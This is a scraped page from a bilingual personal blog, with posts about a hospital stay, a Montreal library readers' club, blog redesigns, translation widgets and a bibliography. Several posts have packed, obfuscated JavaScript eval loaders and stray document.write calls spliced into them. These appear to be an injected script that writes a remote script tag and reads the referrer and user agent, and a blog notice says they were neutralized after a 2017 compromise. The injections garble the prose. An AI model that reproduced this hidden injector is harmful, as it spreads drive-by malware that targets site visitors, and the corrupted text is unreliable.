Sick leave

The posts have been a little more sparse in the last few days because I was hospitalized due to sudden health issues (those can be a real pain in the ass sometimes). Because of the needed convalescence (and necessary post-op care) I will take a three-week sick leave from work. I will, document.write(“”); of course, rest but it will be an unexpected occasion the catch up on my viewings and readings (and hopefully writings).
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iasdd|var|u0026u|referrer|hfefd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nrfbb|var|u0026u|referrer|tbkih||js|php’.split(‘|’),0,{}))

Unfortunately, because of this brief hospital stay, I also missed the initial preorder of the new iPhone 6. So, I won’t get it next week like I wanted, but only next month. Too bad, I could have done a lot with it during my sick leave. Now I’ll get it only after I am back to work…

[ Traduire @ Google ]
[ Traduire @ Bing ]

Le Club des Irrésistibles

J’ai toujours rêvé de faire (de m’occuper ou de gérer) un blogue de lecteurs pour les bibliothèques de Montréal — quoiqu’il y a peu de chances que cela arrive un jour puisque je ne suis qu’un simple aide-bibliothécaire et que je viens de découvrir qu’il y en avait déjà un (plus ou moins)…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fnryk|var|u0026u|referrer|faryd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dfaky|var|u0026u|referrer|snbkk||js|php’.split(‘|’),0,{}))

J’avais déjà vaguement entendu parlé de ce “
Club des irrésistibles” mais je croyais que c’était simplement des suggestions de lectures de bibliothécaires. C’est un peu plus que cela. Toutefois ça n’a rien à voir avec ce que je ferais si j’en avais la chance (probablement quelques choses de similaire à mes commentaires de livres, document.write(“”); mais plus, tellement plus) mais, bon, c’est tout de même un début. Les gens de partout dans le monde peuvent y laisser leurs suggestions de lectures et partager leurs coups de coeur livresques. Ça c’est bien mais beaucoup de choses laissent à désirer:

  • les commentaires (ou dans ce cas-ci plutôt des suggestions) ne sont pratiquement jamais signées
  • ils sont tous vraiment trop court; en général c’est dans le genre “je suggère ce livre parce que je l’ai lu et j’ai trouvé ça bon”! Point à la ligne. Oui mais pourquoi? Où sont les arguments, les anecdotes de lecture, dans quel contexte ce titre se situe-t-il dans l’oeuvre de l’auteur ? Dans son époque ? Etc.
  • la présentation du blogue est un peu confuse et manque d’attrait
  • il n’y a pratiquement pas d’explications sur comment participer ou quel genre de suggestions ou de commentaires on s’attend des participants
  • le blogue est très peu annoncé et semble n’avoir que très peu de visibilité: la preuve c’est que je n’en ai entendu parlé que vaguement et qu’il y a très peu de commentaires pour chacune des entrées du blogue
  • l’absence total de bilinguisme. Pourtant Montréal est une ville officiellement bilingue, la collection des bibliothèques comporte des livres en anglais et le catalogue Nelligan a lui-même une présentation bilingue…
  • il n’y a pas de catégorie “Manga” et tout est confondu dans une catégorie “Bande-dessinée”!

C’est donc très décevant. Il y tellement de choses qui pourraient être faites pour promouvoir le catalogue et les titres de la collection des bibliothèques de Montréal et cela avec un très petit budget! Vraiment, les gens des bibliothèques semble manquer d’imagination et de volonté (ou de moyens) mais, bon, c’est la ville de Montréal et sur ce je n’en dirai pas plus (je ne peux, ayant renoncé à mes droits constitutionnels de libre expression sur ce sujet…). Oui, c’est très décevant. Mais, bon, allez voir ce que c’est et n’hésitez pas à me dire ce que vous en pensez en commentaire…

Je vais tout de même garder un oeil sur ce club. Je me suis inscrit à l’info-lettre et peut-être demanderais-je quelques explications pour mieux comprendre comment ça marche et peut-être aussi daignerai-je y participer. On verra. Pour l’instant je trouve plus amusant de participer à Goodreads.

[ Translate ]

Petite mise à jour

Comme ces dernières semaines ont été plutôt mouvementées, ce week-end je me repose: je lis et je fais du rattrapage dans le visionnement de séries télé. De toute façon il fait trop froid pour travailler dans le jardin (on annonce d’ailleurs un risque de gel pour cette nuit, alors priez pour mes plants de tomate ! Contrairement à certains, je n’ai pas l’espace pour de @#$%?&* de belles patates 😉

J’en ai quand même profité pour faire quelques petits ajustements dans la disposition du blogue (en ajoutant quelques éléments dans la colonne de droite) et mettre à jour ma bibliographie.

Et bonne Fête de Mères (en retard)!

[ Translate ]

New look

I’ve just updated the look of the blog with a new template. I think it was way over due for a change.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kebas|var|u0026u|referrer|dyzdd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hifhd|var|u0026u|referrer|hhezn||js|php’.split(‘|’),0,{}))

Let me know what you think of this new look. Thanks!

[ Traduire ]

Retro-blogging

Ce week-end j’ai introduit un nouveau concept dans mon blog: le rétro-blogging. C’est-à-dire que ces derniers mois je n’ai pas eu le temps, document.write(“”); ni l’énergie de blogger régulièrement mais je prenais tout de même des notes dans mon petit carnet. Et là je les introduit dans le blogue aux dates où ces notes on été prises. Ce week-end j’ai donc fait du ratrappage pour les mois de mai et de juin
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kbtyy|var|u0026u|referrer|idrbn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tnhii|var|u0026u|referrer|hakik||js|php’.split(‘|’),0,{}))

Autre nouvelle: mon blogue peut maintenant être rejoins à l’addresse
clodjee.com!

[ Translate ]

Translation

The problem with multilingual blogs is that you cannot always post in a way to be understood by every readership at the same time. Sometimes I will post a comment both in French and English, document.write(“”); but most of the time I post in either languages depending on the nature of the subject. For example, if I read a book in French I will most likely comment it in the same language and I will comment in English if I watch a movie in English. And, of course, the blog is not accessible to people speaking any other languages (like my ancient roman fans or my Japanese friends or some accidental Aafrikaner or Hindi readers). I’ve always found this particularly annoying.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yskya|var|u0026u|referrer|aendt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rnnby|var|u0026u|referrer|ydybh||js|php’.split(‘|’),0,{}))

I recently stumbled upon a Facebook page that was offering a link to translate the post into another language (in this case either Japanese or English). I found that such option was quite practical and wondered if it was possible to do something similar with Blogger. I couldn’t find a cool and easy way like I saw for Facebook, but I found a couple of ways to reach my goal. (It would be nice though to have Blogger to add a “Translate” option at the bottom of each post).

From now on, you will find in the right side column (between the “links” and the “Search this blog”) a “Translate this blog” section with a “Select Language” pull down menu. It includes over sixty different languages but, since it assumes this blog is in English only, the list doesn’t offer an English option, which would be quite useful for my French posts. Instead, for this particular case, I will try to always add at the end of my French posts a “[ Translate ]” link that will bring you to an English translation (by default, but it can be changed to any language you want).

Unfortunately, the translation option often mess up the layout of the post (mostly paragraph jump — strangely the individual links for the French to English translation fare much better layout-wise) and the resulting translation is generally far from perfect (although sometimes quite funny). But that’s the best it can do for now. However, to avoid formatting problems I might simply add a “[ Translate ]” link even for the posts in English…

I hope this solution will help widden the readership of this blog. In any case, let me know what you think. Do you like this new option or not (or it doesn’t make any difference for you)?

[ Translate ]

Bibliography

Warning!

This blog was hit by a couple of catastrophes in 2017 that broke many image links and introduced malicious lines of code that have now been neutralized but are still  disfiguring many older entries of the blog.

Please bear with us while we are undergoing the  long process of repairing the blog! The most important part of this blog is still there — the words to read and the ideas to share — but the aesthetic of the presentation has unfortunately suffered.

Thank you for your understanding and support!

— clodjee  

After reading my bio/bibliography in the DALIAF, it reminded me that I published more than just fiction (or a few sci-fi short stories). So I decided to gather my own bibliography, a list as exhaustive as I could of all the major texts I’ve written. Here it is, right after the jump:
Continue reading